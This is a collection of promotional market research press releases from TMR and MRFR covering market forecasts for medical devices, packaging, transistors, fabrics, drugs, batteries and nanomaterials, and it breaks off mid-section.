customized market research and consulting services to business entities keen on succeeding in todays supercharged economic climate. Armed with an experienced, dedicated, and dynamic team of analysts, we are redefining the way our clients conduct business by providing them with authoritative and trusted research studies in tune with the latest methodologies and market trends.Our savvy custom-built reports span a gamut of industries such as pharmaceuticals, chemicals and metals, food and beverages, and technology and media, among others. With actionable insights uncovered through in-depth research of the market, we try to bring about game-changing success for our clients.Contact:TMR Research,3739 Balboa St # 1097,San Francisco, CA 94121United StatesTel: +1-415-520-1050Email: sales@tmrresearch.com
Angioplasty Balloons Market to Rake US$2.55 bn by 2023

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According to a TMR analyst, The global market for angioplasty balloons is likely to witness a 3.5% CAGR from 2015 to 2023. The market is expected to rise from a valuation of US$1.93 bn in 2016 and is anticipated to reach US$2.55 bn by 2023. The segment of normal balloons is anticipated to lead the global market for angioplasty balloons for the years to come. Nevertheless, the segment of drug coated balloons is likely to gain popularity over the coming years. Region-wise, the market is dominated by North America closely trailed by Europe. It is expected that North America will continue leading it reaching a valuation of US$993.70 mn by the end of 2023.The global market for angioplasty balloons is likely to have a dense and highly dynamic competitive scenario of the years ahead, states Transparency Market Research (TMR) in a research report. The core players namely Abbott Laboratories, Cordis Corporation, and Boston Scientific held a share of 71.7% collectively in 2014 in the global angioplasty balloons market. TMR also states that the existing players might be threatened by the entry of new players in the market over the next couple of years, but the threat might stay moderate for some time now. This is mainly due to the expensive research and development involved in this field and the strict government policies that tend to differ from region to region. Moreover, the growth of the market is likely to have a slow place to make enough scope for the entry of new players. The race to stay ahead has given rise a plethora of innovations taking and product launches.Report overview @"As indicated by the CDC, almost 610,000 deaths have taken place every year in the U.S. alone because of heart maladies as of late. This number is required to increment significantly further," states a TMR expert. He further includes, "There were about 8 mn individuals in the U.S. experiencing peripheral artery sickness in 2011. These numbers are likewise set to increment after some time, because of elements including the quick expanding geriatric populace, the rising number of diabetics and obese natives, and the general increment in negative way of life decisions and high anxiety levels. These numbers just point to a developing demand for medicinal gadgets, operative devices, and embeds."With the quantity of coronary surgeries anticipated that would increment radically in the coming years, the interest for angioplasty balloons will in like manner indicate increases.Request to sample report @Despite the fact that the entry rate by new angioplasty balloons producers is modest, the current players have as of late been embracing outrageous evaluating techniques to pick up market entrance and share. The price cuts they put on angioplasty balloons is getting them more clients, however is definitely diminishing the general income created in the market from a worldwide viewpoint.As expressed by Healing Hearts, the costs of angioplasty balloons alongside other gears have decreased by nearly 40% in the most recent decade in India, one of the significant destinations for medical tourism worldwide. This is seriously harming the extent of innovative work endeavors facilitated by driving players and is required to hamper the market development rate extensively soon. Producers can rather concentrate on the arrival of new items as of now in the pipeline. The accomplishment of these items will enormously enhance the demand for angioplasty balloons and the general development rate of its worldwide market.Summary of Table of ContentChapter 1 IntroductionChapter 2 Executive SummaryChapter 3 Market OverviewChapter 4 Global Angioplasty Balloons Market, by Product TypeChapter 5 Global Angioplasty Balloons Market, by MaterialChapter 6 Global Angioplasty Balloons Market, by GeographyChapter 7 RecommendationsChapter 8 Company ProfilesRequest to Browse Full Table of Content, figure and Tables @About TMRTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.ContactTransparency Market ResearchState Tower90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:TMR Blog:
Reinforced Handle Pouch Market - Recent Analysis of Industry Trends and Technological Improvements For 2025

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Changing consumer lifestyle across the continents has affected packaging industry in many ways. Packaging manufacturers are now not only focusing on protection of the packaged item from external environment but also improving the shelf life and aesthetic properties of the packed items. Pouches are one such packaging format widely used for packaging of food items and to tap the huge potential of the pouches, packaging manufacturers are focusing on innovations to attract more consumers and to improve their experience. Reinforced handle pouch are invented by packaging manufacturers to address the problems faced while carrying fresh produce and other items in regular pouches, reinforced pouches has emerged as a durable packaging solution without any significant investment. Commonly used materials for manufacturing of reinforced handle pouch are Polyethylene (PE), Polypropylene (PP) and Polyethylene terephthalate (PET).Fill the form for an exclusive sample of this report @Reinforced Handle Pouch Market: Market DynamicsManufacturers are switching to modern flexible packaging over traditional rigid packaging solutions attributed to reduced manufacturing cost and technological advancements. Flexible packaging is estimated to be US$ 238 bn in 2016 and expected to grow at a CAGR of over 5.2% during the forecast period. Reinforced handle pouch is an example of an extensively used flexible packaging format for packaging of food items and other articles. Durability of reinforced handle pouch over regular pouches is the key driver driving reinforced handle pouch market. Some other factors such as high printability and ease in usage are some other factors supporting the growth in reinforced handle pouch market.Rapidly changing lifestyle of the eastern region is another factor creating demand in reinforced handle pouch market as the consumers are preferring for packed food items and the penetration of the modern retail outlets is rapidly increasing in the region. Availability of the raw material at a cheap price is increasing manufacturers attractiveness towards the reinforced handle pouch. However, stringent government policies for the use of plastic may hamper the growth in reinforced handle pouch market. Despite stringent government policies for the use of plastic in many countries, the demand for reinforced handle pouch is expected to increase over the forecast period attributed to its ease in disposability and small carbon foot print.Reinforced Handle Pouch Market: Market SegmentationReinforced handle pouch market is segmented by material type, and by application type.Based on the material type, reinforced handle pouch market is segmented into:Polyethylene (PE)Polypropylene (PP)Polyethylene Terephthalate (PET)OthersBrowse Market Research Report @Based on the application type, reinforced handle pouch market is segmented into:Fresh Cut ProduceSnacksDried FoodFrozen FoodOthers (Industrial use)Reinforced Handle Pouch Market - Regional Outlook:Regionally global reinforced handle pouch market is segmented intoNorth AmericaLatin AmericaEastern EuropeWestern EuropeAsia-Pacific excluding Japan (APEJ)Middle East & Africa (MEA)JapanAPEJ region is expected to lead the reinforced handle pouch market over the forecast period on the backdrop of increasing penetration modern retail outlets in the region. North America is expected to remain as the dominant contributor among developed region for reinforced handle pouch market. Western and Eastern Europe region are expected to grow at a moderate growth rate over the forecast period. Latin America and MEA are expected to be attractive region in terms of growth despite their small contribution in reinforced handle pouch market. Japan is expected to contribute significant share in reinforced handle pouch market as the consumers in the region are preferring for products in small quantity.Reinforced Handle Pouch Market - Key Players:Some major players of the reinforced handle pouch market are Emerald Packaging, Inc., M Pak Plastics, Chantler Packages, Robbie Bags & Pouches, Layfield Group. Ltd., Richmond Plastics Ltd, Covertech Flexible Packaging Inc., BSB Packaging, Hurontario Packaging Inc., Burgass Carrier Bags, Dongguan Min Lee Packaging Materials Co., Ltd., CCA Packaging Manufacturing Ltd., Xiamen Ynzo Industry & Trading Co., Ltd, Dongguan Kinshun Packing Materials Co., Ltd., and Sekotech International Co.About TMRTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.Contact TMR90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Bipolar Junction Transistors Market: Outlook, Opportunity & Future Trends Upto Forecast Period

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Bipolar junction transistor is a sort of transistor which primarily uses both hole and electron and charge carriers. The primary function of a BJT (bipolar junction transistor) is to amplify current. Bipolar junction transistor has application as switches or amplifiers. Moreover, it also has wide range of applications across electronic devices and equipment which includes televisions, computers, audio amplifiers, mobile phones, radio transmitters and industrial control. The bipolar junction transistor market is segmented by type which includes NPN transistors, PNP transistors and heterojunction bipolar transistor. The market for bipolar junction transistor is segmented on the basis of application which includes temperature sensors, electronics, digital logic, amplifiers and logarithmic converters among others. The market for bipolar junction transistor has been segmented geographically into Asia Pacific, Europe, North America, South America and Middle East and Africa.Request A Sample Of This Report -There is a functional difference between an NPN transistor and PNP transistor. The proper and exact polarity of the junctions when operating is the main difference. At the time of operation, the voltage polarities as well as current directions for each kind of transistor are exactly opposite to each other. The prime function of the bipolar transistors controls and regulates the current in any device. Transistors restrict the amount of current passed according to a smaller, controlling current.A positive voltage is given to the collector terminal to produce a current flow from the collector to the emitter in an NPN transistor. Moreover, a positive voltage is transferred to the emitter terminal to allow current flow from the emitter to collector in a PNP transistor. Increasing demand of high end and technologically upfront consumer electronic products is also considered as one of the prime drivers for the market. Bipolar junction transistor primarily improves the performance and workflow of the switches and other electronic devices. Bipolar junction transistors also have wide range of applications in different industrial applications which include different sort of operational equipment. Amplifiers, logarithmic converters and digital logic are some of the prime application area of bipolar junction transistors. Design complexities are one of the major restraining factors of the market which may inhibit the growth of the market over the forecast period. However, research activities in the field of bipolar junction transistors is opening huge application opportunities in automotive, medical and lab equipment which may fuel the growth for the market in near future.View Report -In 2016, Asia Pacific is leading the market for bipolar junction transistors in terms of revenue, followed by North America and Europe globally. China is leading the market for bipolar junction transistors owing to its technological advancement across different end use industry, followed by Japan, South Korea, Taiwan and India among others. Growing industrialization and increasing number of semiconductor manufacturing hubs are also contributing in the market growth. In North America, the U.S. is leading the market for bipolar junction transistors, followed by Canada and Mexico. Germany, the U.K., Italy and France contributed prominent shares in the bipolar junction transistors market in terms of revenue across Europe. South Africa, the U.A.E and Brazil among other countries are dominating the market for bipolar junction transistors across Middle East and Africa and South America.ON Semiconductor (The U.S.), NXP Semiconductors N.V. (The Netherlands), Renesas Electronics Corporation (Japan), STMicroelectronics (Switzerland), Texas Instruments Inc. (The U.S.), Fairchild Semiconductor International, Inc. (The U.S.) and Vishay Intertechnology, Inc. (The U.S.) among others are some of the prime players operating in the bipolar junction transistors market globally. Research activities along with business partnerships with other companies are some of the major business strategies followed by the companies. Strengthening business relationships with the raw material suppliers and distributers along with geographical expansion by establishing new research centers and sales offices are some of the prime business strategies adopted by the companies.Transparency Market Research (TMR) is a next-generation provider of syndicated research, customized research, and consulting services. TMRs global and regional market intelligence coverage includes industries such as pharmaceutical, chemicals and materials, technology and media, food and beverages, and consumer goods, among others. Each TMR research report provides clients with a 360-degree view of the market with statistical forecasts, competitive landscape, detailed segmentation, key trends, and strategic recommendationsTransparency Market Research90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Orthopedic Trauma Fixation Devices Market is progressing at a CAGR of 7.20% within the forecast period from 2014 to 2020

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Global Orthopedic Trauma Fixation Market to Reach US$9.3 bn by 2020; Rising Rate of Injuries Drives MarketThe global orthopedic trauma fixation device market is progressing at a CAGR of 7.20% within the forecast period from 2014 to 2020. The market was valued at US$6.1 bn in 2014. By the end of 2020, the global orthopedic trauma fixation device market is expected to reach US$9.3 bn, as explained in a research report released by Transparency Market Research. The report titled Orthopedic Trauma Fixation Devices Market - Global Forecast, Share, Size, Growth and Industry Analysis 2014 - 2020, which is now available on the company website.Report Overview @The global protein expression technology market is segmented on the basis of types, GeographicalIn terms of types, segmentation of orthopedic trauma fixation devices comprises external fixators and internal fixators. The latter category has the biggest market share in the market for orthopedic trauma fixation devices and is predicted to expand at a CAGR of 6.8% from 2014 to 2020. There are primarily three types of internal fixators, namely intramedullary nails, intramedullary screws, and plate and screw systems. Numerous orthopedic trauma fixation device companies are increasing their focus on the internal fixators manufacture with bio- absorbable materials. The market for bio-absorbable fixators is anticipated to expand at an 8.4% CAGR between 2014 and 2020.Geographical analysis elaborates the market trends based on the four key geographical segments of the global market: North America, Europe, Asia, and Rest of the World (RoW). North America, inclusive of the U.S., has the biggest market for orthopedic trauma fixation devices. Asia is the most swiftly developing orthopedic trauma fixation devices market. A few of the most rapidly growing markets for orthopedic trauma fixation devices are Japan, China and several other countries in the Eastern Mediterranean and Southeast Asia.Request A Sample Report @Summary of Table of Content1 Preface2 Executive Summary3 Industry Analysis4 Market Trends5 Porters Five Force Analysis6 Global Market Size and Forecast7 Market Segmentation by Type of Fixator8 Market Segmentation by Type of Internal Fixator9 Market Segmentation by Region10 Competitive Benchmarking11 Company ProfileRequest to Browse Full Table of Content, figure and Tables @Transparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.Transparency Market ResearchState Tower90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453
Coated Fabrics Market : Analysis Detailed Profiles of Top Industry Players and Their Segments Till 2025

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Global Coated Fabrics Market: OverviewCoated fabrics are composite materials prepared by spreading bonding agents on one or both sides of the fabric and coating it with rubber compounds as per the requirement of the final end-use application. The final product is not only flexible, strong, heat resistant, and washable, they can also be electrically conductive or insulating as per desire. In the automotive industry, coated fabrics are used to manufacture air bags and seat covers. As the automotive industry touches new peaks in the near future, owing to rising population across the world, the demand for coated fabrics is anticipated to increment at a rapid rate during the forecast period of 2017 to 2025.Global Coated Fabrics Market: Key TrendsApart from being utterly useful for the thriving automotive industry, coated fabrics are also used to make protective clothing for labors, which extends the horizon of its demand into several other flourishing industries. Strict government regulations such as European Unions Directive 89/686/EEC and Australia's Model Work Health and Safety Act are urging industries towards industrial protective clothing adoption. Food and beverage, chemical processing, agriculture, and law enforcement are some of the most prominent end-use industries for coated fabrics, after automotive. Conversely, this industry is facing stiff challenge from alternative materials including leather, plastic, uncoated fabrics, and rubber sheeting, which will hinder the growth rate to a certain extend during the forecast period.Request Sample Copy of the Report @In terms of products, the global coated fabrics market can be segmented into polymer, rubber, and fabric-backed wall coverings. Out of these, polymer coated fabrics serve maximum demand as it is relatively inexpensive as compared to other fabrics and offer desirable resistance to water, abrasion, and fire. As the regulations for safety spreads into several other emerging economies, the global polymer coated fabrics market is expected to flourish.Global Coated Fabrics Market: Market PotentialWith technological advancements, the application of coated fabrics now extends to defense, marine, and aviation industries. Herein, coated fabrics are now extensively used for their attributes of barrier protection, air retention, abrasion resistance, and high strength to weight ratio. This factor will open new opportunities for the players in the global coated fabrics market. Moreover, consistent research and development in the field is sure to extend the application of coated fibrics into other fields and further expand the market.Request TOC of the Report @Global Coated Fabrics Market: Regional OutlookNearly all regions are extending the demand for coated fabrics, with Asia Pacific growing at the best rate owing to vast population and a thriving automotive industry. Prosperity of healthcare industry is also expected to positively reflect on coated fabrics market in this region, especially in the emerging economies of India, China, Malaysia, and South Korea. In Europe, with stringent industrial safety regulations in the U.K, France, and Germany, protective clothing segment is most fruitful. Since the implementation of National Fire Protection Association (NFPA), OSHA, and ASTM, similar shift in the market is seen in the region of North America too, wherein the U.S. is extending the demand for coated fibrics to produce protective clothing for firefighting and law enforcement. In gulf, construction is at an all-new peak in the countries of UAE, Kuwait, Qatar, and Saudi Arabia, which serves the primary demand for coated fabrics to be used as safety clothing for the construction workers.Global Coated Fabrics Market: Competitive AnalysisSaint-Gobain, Omnova Solutions, Canadian General Tower, Trelleborg, and Takata Corporation are some of the leading companies currently operational in this market, which is fragmented in nature with the presence of several local players.Request Discount of the Report @About TMR ResearchTMR Research is a premier provider of customized market research and consulting services to business entities keen on succeeding in todays supercharged economic climate. Armed with an experienced, dedicated, and dynamic team of analysts, we are redefining the way our clients conduct business by providing them with authoritative and trusted research studies in tune with the latest methodologies and market trends.Our savvy custom-built reports span a gamut of industries such as pharmaceuticals, chemicals and metals, food and beverages, and technology and media, among others. With actionable insights uncovered through in-depth research of the market, we try to bring about game-changing success for our clients.Contact:TMR Research,3739 Balboa St # 1097,San Francisco, CA 94121United StatesTel: +1-415-520-1050Email: sales@tmrresearch.com
Anti Peptic Ulcer Drugs Market expected to Witness a Sustainable Growth by 2024

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The global market for anti-peptic ulcer drugs is expected to grow at a progressive rate in the coming years, thanks to the rising awareness among patients regarding the easy availability of effective drugs. Moreover, the rising preference of patients to consume drugs instead of surgical procedure is expected to encourage the drug manufacturers to develop novel drugs in the coming years. The product segmentation, applications, technological developments, and the key geographical segments have been included in the study to offer a strong understanding of the market.The research study provides a detailed analysis of the global anti-peptic ulcer drugs market and identifies the latest trends and developments in the market. The study has been compiled making used of several analytical tools, which are expected to help in analyzing the key growth prospects and challenges in the global anti-peptic ulcer drugs market. In addition, it provides quantitative and qualitative information and insights into the competitive scenario of the global market. The company profiles, contact information, revenue structure, business policies, financial overview, and recent developments have been discussed at length in the scope of the research report.Global Anti-peptic Ulcer Drugs Market: Drivers and RestraintsThe tremendously rising prevalence of peptic ulcers and the rising adoption of peptic ulcer drugs over surgeries are some of the vital factors anticipated to augment global anti-peptic ulcer drugs market in the forecast period. In addition, the growing focus on research and development activities and the growing number of generic manufacturers of peptic ulcer drugs are estimated to offer promising opportunities for the market players. Some of the important factors propelling the global anti-peptic ulcer drugs market are a significant rise in patient pool with H. pylori infection, technological developments in peptic ulcer therapies, and stressed lifestyles.On the other hand, the poor pipeline productivity and the changes in the pricing policies of drugs are anticipated to restrict the growth of the global anti-peptic ulcer drugs market throughout the forecast period. Moreover, the side effects of peptic ulcer drugs is another factor estimated to hamper the growth of the overall market in the coming years. Nevertheless, the growing smoking rate, changing lifestyle, and the rising inclination towards generics are expected to bolster global market and offer lucrative opportunities for the leading players.Request report toc @Global Anti-peptic Ulcer Drugs Market: Region-wise OutlookThe global market for anti-peptic ulcer drugs can be classified on the basis of geography into North America, Europe, Asia Pacific, and the Rest of the World. As per the research study, North America is leading the global anti-peptic ulcer drugs market and is projected to remain in the dominant position throughout the forecast period. The growing incidence of people suffering from peptic ulcer condition is one of the key factors predicted to encourage the development of the North America market in the next few years. The growing incidence of peptic acid ulcers is encouraging the marketing and production companies of anti-peptic ulcer drugs in Asia-Pacific, especially in China, India, and Australia.Furthermore, North America is projected to be followed by Europe and attain a substantial share of the global market in the near future. A high number of patents that are likely to expire, thus permitting the entry of generics is projected to fuel the growth of the market. On the other hand, the emerging economies, such as Argentina, Chile, Brazil, and several Middle Easten and Asian countries are likely to witness robust growth throughout the forecast period. The growing demand for anti-peptic ulcer drugs owing to the poor hygienic and sanitization, which results in H. pylori among people in these regions is the key factor projected to drive the anti-peptic ulcer drugs market in the next few years.Request brochure @Key Players Mentioned in the Research Report are:Some of the leading players operating in the anti-peptic ulcer drugs market across the globe are Eisai Co., Ltd., Daewoong Pharmaceutical Co., Ltd., Takeda Pharmaceutical Company Limited., HeliCure AB, AstraZeneca PLC, Ore Pharmaceuticals, Inc., and Sihuan Pharmaceutical Holdings Group Ltd. The increasing number of players participating in the global market are estimated to strengthen the competitive scenario and encourage the development of the overall market. In addition, the rising focus of key players on research and development activities is predicted to generate promising opportunities in the coming years.Pre book full report @About TMRTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.ContactTransparency Market ResearchState Tower90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:TMR Blog:
Essential Oils and Oleoresins Market Evolving Technology, Trends and industry Analysis 2024

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Global Essential Oils and Oleoresins MarketEssential oils are raw materials obtained from botanic sources. They are used widely in the fragrance and flavor industries. Essential oils and oleoresins include various products that are primarily used as fragrances and flavors. Essential oils, in particular, find use as food supplements and medicines to endorse good health. Besides these, essential oils are also used as feedstock in the chemicals industry.Obtain Report Details @Global Essential Oils and Oleoresins Market: Key SegmentsThe global market for essential oils and oleoresins is broadly classified on the basis of application, product type, and nations. In terms of product type, the market for essential oils is segmented into peppermint, lavender, sandalwood, bergamot, tea tree, rosemary, ylang-ylang, and chamomile. Among all the aforementioned segments, the lavender segment is likely to hold the maximum share in the market during the forecast period.On the basis of type of oleoresins, the market for essential oils is segmented into vanilla, turmeric, herbs, cinnamon, chilies, pepper, ginger, clove, and garlic. Of these, chilies are expected to dominate the market over the forecast period. In terms of application, the market is segmented into beverages, savory, confectionary, and nutraceuticals. Among these, the beverage segment dominates the market at present and is projected to contribute the highest revenue in the forthcoming years.Nations exhibiting most lucrative prospects for the global essential oils and oleoresins market include India, ASEAN, Australia, New Zealand, and Greater China, and rest of Asia Pacific. Among these nations India has emerged as the largest market for essential oils and oleoresins, followed by China as more affluent people live in India compared to other nations.Global Essential Oils and Oleoresins Market: Region-wise OutlookThe market for essential oils and oleoresins in Asia Pacific is poised to grow at a robust pace in the coming years as consumers in the region increasingly prefer natural ingredients such as chilies and pepper. Among all emerging nations in Asia Pacific, India accounts for the largest share in the market, trailed by China. Consumers in emerging countries have become more conscious about their health. This is expected to positively influence the markets growth trajectory in Asia Pacific. Besides this, the market in New Zealand is also expected to witness consistent growth in the coming years due to the increasing number of health conscious consumers in the country.Global Essential Oils and Oleoresins Market: Key Trends and OpportunitiesThe global market for essential oils and oleoresins is poised to surge exponentially in the forthcoming years. Major drivers propelling the growth of essential oils and oleoresins market are the increasing health consciousness among consumers, the rising consumer preferences for natural ingredients in fragrance, beauty products, medicines, and food. However, the rising prices of products with high quality are expected to hamper the growth of the market to an extent in the near future.Global Essential Oils and Oleoresins Market: Vendor LandscapeSome of the most prominent players operating in the market include Natures S.A, Alchem International Ltd, Indena S.P.A, Kancor Ingredients Ltd., Frutarom Industries Inc, Chr. Hansen A/S, Symrise A.G, and Biomax Life Sciences Limited, among others. Enterprises operating in the global market for essential oils and oleoresins are looking forward to increase their investment in product innovation in order to expand their operations to newer markets. In addition to this, these companies are also adopting various pricing strategies to gain competitive edge in the market.Make an Enquiry @The report offers a comprehensive evaluation of the market. It does so via in-depth qualitative insights, historical data, and verifiable projections about market size. The projections featured in the report have been derived using proven research methodologies and assumptions. By doing so, the research report serves as a repository of analysis and information for every facet of the market, including but not limited to: Regional markets, technology, types, and applications.Transparency Market Research (TMR) is a next-generation provider of syndicated research, customized research, and consulting services. TMRs global and regional market intelligence coverage includes industries such as pharmaceutical, chemicals and materials, technology and media, food and beverages, and consumer goods, among others. Each TMR research report provides clients with a 360-degree view of the market with statistical forecasts, competitive landscape, detailed segmentation, key trends, and strategic recommendationsTransparency Market Research90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Batteries Market, Share, Analysis, Trend, challenges, Opportunities and Forecast to 2022

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Global Batteries Market Information by Battery Type (Lead acid, Lithium ion, Nickel metal hydride and Nickel cadmium), by Application (Two/Three Wheelers, Electric Cars, Heavy Vehicles, and others) and by Region - Forecast to 2022Market ScenarioBatteries is a device that provide the electric energy to automobiles for starting, lighting and ignition. Rising the demand of hybrid, semi-hybrid and fully electric vehicles will drive the global battery market. Also adoption rate of these batteries in passenger vehicle is increasing which will drive this market. However, safety issues related to battery usage may hamper the growth of global battery market.Thus the Batteries System market is expected to register a CAGR of about 4%.Get Sample of Report @Market SegmentationGlobal Batteries Market Segmented on the basis ofBy Battery Type Lead acid Lithium ion Nickel metal hydride Nickel cadmiumBy Application Two/Three Wheelers Electric Cars Heavy Vehicles OthersBy Regions North America South America Europe Asia-Pacific Middle East & AfricaEnquiry before Buying @Regional Analysis of Batteries MarketNorth America region dominates the global Batteries market, because increasing eco-friendly initiatives & raising the production of technologically advanced vehicles. This region will grow at good pace during the forecast period. Asia-Pacific region will show a significant growth during the forecast period. Factors like rising the disposable income and rising the demand of commercial & passenger vehicles, will drive the global batteries market.Key PlayersThe leading players in the Batteries market are Exide Technologies, Douglas Battery, East Penn Manufacturing Co., Johnson Controls Inc., The Furukawa Battery Co. ltd, Zhejiang Haijiu Battery Co. Ltd, Chaowei Power Holding ltd, Camel Group and Fengfan Co. Ltd.Intended Audience Batteries manufacturers Distributer & Supplier companies Automotive Manufacturers Consultants and Investment bankers Government as well as Independent Regulatory AuthoritiesAsk for your specific company profile and country level customization on reports.Access Full Report @About Us:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.MRFR team have supreme objective to provide the optimum quality market research and intelligence services to our clients. Our market research studies by products, services, technologies, applications, end users, and market players for global, regional, and country level market segments, enable our clients to see more, know more, and do more, which help to answer all their most important questions.In order to stay updated with technology and work process of the industry, MRFR often plans & conducts meet with the industry experts and industrial visits for its research analyst members.Akash Anand,Market Research FuturePune  411028Maharashtra, IndiaPhone No. :+1 646 845 9312Email: sales@marketresearchfuture.com
Central Nervous System Disorder Drugs Market expected to Witness a Sustainable Growth by 2019

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The market for central nervous system disorder drugs comprise of drugs used for the treatment of diseases affecting the brain or spinal cord such as epilepsy, Parkinsons disease, Alzheimers disease, depression, anxiety and bipolar disorders. Epilepsy is a chronic brain disorder characterized by recurring seizures. Parkinsons disease is a degenerative CNS disorder associated with symptoms including tremor, rigidity, akinesia and bradykinesia. It is reported by Parkinsons disease Foundation that as of now 7-10 million people are affected with Parkinsons disease across the globe. These diseases are generally caused by neurodegeneration, autoimmune disorders, trauma, tumors and vascular disorders.Request report toc @The market for CNS disorders is categorized into three segments namely psychiatry, neurology and pain drugs market. Psychiatry drugs market is further segmented into anxiety, depression, bipolar disorders, schizophrenia and ADHD (attention deficit hyperactivity disorder). Neurology drugs market is divided into migraine, epilepsy, Parkinsons disease, multiple sclerosis, narcolepsy and and Alzheimers disease. Pain management drugs market segment comprises of drugs used to treat pain associated with CNS disorders. Among these psychiatry segment holds the largest share accounting for more than 40% followed by neurology and pain segment.Request brochure @Rapidly increasing geriatric population base resulting in an elevated incidence levels of CNS disorders such as Alzheimers disease, Parkinsons disease, schizophrenia and multiple disorders is one of the key factors driving the growth of the market for CNS disorders.. Currently, there is no drug to cure Alzheimers disease, the available medicines only treat the severity of symptoms and improve the quality of life to some extent. That is why companies such as Eli Lilly, Baxter International and Novartis AG are investing heavily in research and development in order to accelerate the treatment of Alzheimers disease. Geographically, North America holds the largest share of the total market of CNS disorders followed by Europe and Asia-Pacific. Asia-Pacific is projected to grow at a CAGR more than other regions on account of high prevalence of diseases such as epilepsy, Parkinsons disease and Alzheimers disease. As of 2012, WHO (world health organization) suggests that around 50 million people are suffering from epilepsy worldwide, most of them (approximately 80%) belong to developing nations.Some of the key players operating in the market for CNS disorders are Pfizer, Johnson & Johnson, GlaxoSmithKline, Novartis AG, Sanofi, Merck & Co., Abbott Laboratories, Eli Lilly, UCB, Bristol-Meyers Squibb Co. and Astellas Pharma, Inc.Pre book full report @About TMRTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.ContactTransparency Market ResearchState Tower90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:TMR Blog:
Nano Copper Oxide Market report provides company market share analysis of key players 2017 - 2025

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Nano Copper Oxide Market: SnapshotNano copper oxide is brownish black or reddish colored nanoparticle that is available in variety of forms depending on its applications. It is usually sold in dispersed or powdered form in the global market. It has numerous unique chemical and physical properties such as photovoltaic properties, superconductivity, low cost, antimicrobial activity, and is relatively stable. The global nano copper oxide market finds its applications in paints and coatings, electronics and electricals, energy storage among others. These copper oxide nanomaterials are manufactured for certain end uses and are nearly 100 times finer compared to the copper oxide material with diverse physical features.Rise in investments in research and development, growing penetration of copper oxide nanomaterials in multiple end-user sectors, and outstanding physio-chemical features of the nano copper oxides are the chief driving factors for the market growth. These nano copper oxide materials are generally added in modest quantities for the performance enhancement of the end product. However, some factors such as its high toxicity to aquatic life and human lungs may impede the overall market development. Presently, catalysts and electrical and electronics are the prominent end-user market segments for nano copper oxides. The overall demand for nano copper oxide materials is expected to witness a considerable growth in the coming years because of its unique properties and lucrative market opportunities created for all the key players in the global market.Request Sample Copy of the Report @Global Nano Copper Oxide Market: OverviewNano copper oxide is referred to as a brownish-black or reddish nanoparticle, which is available in variety of forms according to the applications it serves. Nano copper oxide is basically a sold in powder or generally in discrete form in the market. It has various unique chemical and physical characteristics such as antimicrobial activity, low cost, relatively stable, photovoltaic properties, and superconductivity. They display very interesting electrical, mechanical, catalytic, and optical properties. They further possess photoconductive and photovoltaic properties as their crystal arrangements have a thin band gap. They are used in heat transfer fluids, microelectronics, solar energy converters, batteries, gas sensors, and semiconductor devices. Nano copper oxides are produced for specific end use and are almost 100 times finer in quality than copper oxide with absolutely different physical properties.The report examines the growth of the global nano copper oxide market that occurred in the last over the last few years and is likely to occur in the coming years. The research publication additionally explains the causes of the fluctuations in the global market. It does this by assessing of the facets and the different trends that have been prevalent from past few years and also the aspects that are anticipated to maintain a strong impact on the market over the coming years. The Porters five forces analysis has been considered by analysts to present a clear picture of the vendor landscape to readers. Agreements, mergers, acquisitions, and other dealings have been further mentioned in the study. It focuses on the strategies, products, and market share along with position of the companies operating in the market.Request TOC of the Report @Global Nano Copper Oxide Market: Trends and ProspectsThe global market for nano copper oxide is expected to witness stable growth over the coming years owing to growing investments for research and development in the field of nano technology. Rising penetration of nano copper oxide in several end-sue industries and its high physio-chemical properties are further expected to trigger the growth of the global nano copper oxide market over the forecast period. These oxides are basically added in small amount in order to improve the end products performance. However, it has high toxic levels that has negative impacts on aquatic life and human health. As a result of this, the market for nano copper oxide might face hindrances in terms of growth. The mounting demand for the energy storage segment closely followed by paints and coatings, catalysts, and electronics and electrical is expected to drive the growth of the market over the coming years. Players operating in the market are likely to be presented with significant opportunities owing to investments which are being made for innovations in this field.Global Nano Copper Oxide Market: Regional OutlookRegion-wise, Asia Pacific is anticipated to witness strong growth in the near future owing to rising demand for nano copper oxide from end-use industries in the region. Several new players are trying to venture in the market, mainly in India, China, and ASEAN. Robust industrialization coupled with growing disposable income of consumers is expected to drive the growth of various end-user industries, thus benefitting the nano copper oxide market in the region in return.Request Discount of the Report @Global Nano Copper Oxide Market: Vendor 